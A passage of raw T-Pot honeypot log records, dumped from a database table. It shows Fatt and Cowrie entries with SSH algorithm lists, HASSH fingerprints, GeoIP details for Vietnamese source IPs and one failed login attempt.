@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39164, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.117637", "@timestamp": "2021-09-20T11:06:58.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22480	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:58.147283+03	2021-09-20 14:15:06.269471+03	{"_id": "EgbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49128, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.147283", "@timestamp": "2021-09-20T11:06:58.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22481	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:58.497615+03	2021-09-20 14:15:06.27047+03	{"_id": "EwbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58974, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.497615", "@timestamp": "2021-09-20T11:06:58.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22491	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:59.17901+03	2021-09-20 14:15:06.283471+03	{"_id": "HQbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [record/record] failed", "session": "ab4c74b72514", "@version": "1", "password": "record", "username": "record", "timestamp": "2021-09-20T11:06:59.179010Z", "@timestamp": "2021-09-20T11:06:59.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22482	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:58.54726+03	2021-09-20 14:15:06.271471+03	{"_id": "FAbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34912, "timestamp": "2021-09-20T11:06:58.547260", "@timestamp": "2021-09-20T11:06:58.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22483	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:58.672939+03	2021-09-20 14:15:06.27247+03	{"_id": "FQbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45154, "timestamp": "2021-09-20T11:06:58.672939", "@timestamp": "2021-09-20T11:06:58.672Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22484	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:58.741981+03	2021-09-20 14:15:06.27347+03	{"_id": "FgbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58674, "timestamp": "2021-09-20T11:06:58.741981", "@timestamp": "2021-09-20T11:06:58.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22485	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:58.825095+03	2021-09-20 14:15:06.27547+03	{"_id": "FwbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34912, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.825095", "@timestamp": "2021-09-20T11:06:58.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22486	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:58.505112+03	2021-09-20 14:15:06.276471+03	{"_id": "GAbjAnwBvYTbRNuEPQVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "51582960f84d", "@version": "1", "timestamp": "2021-09-20T11:06:58.505112Z", "@timestamp": "2021-09-20T11:06:58.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 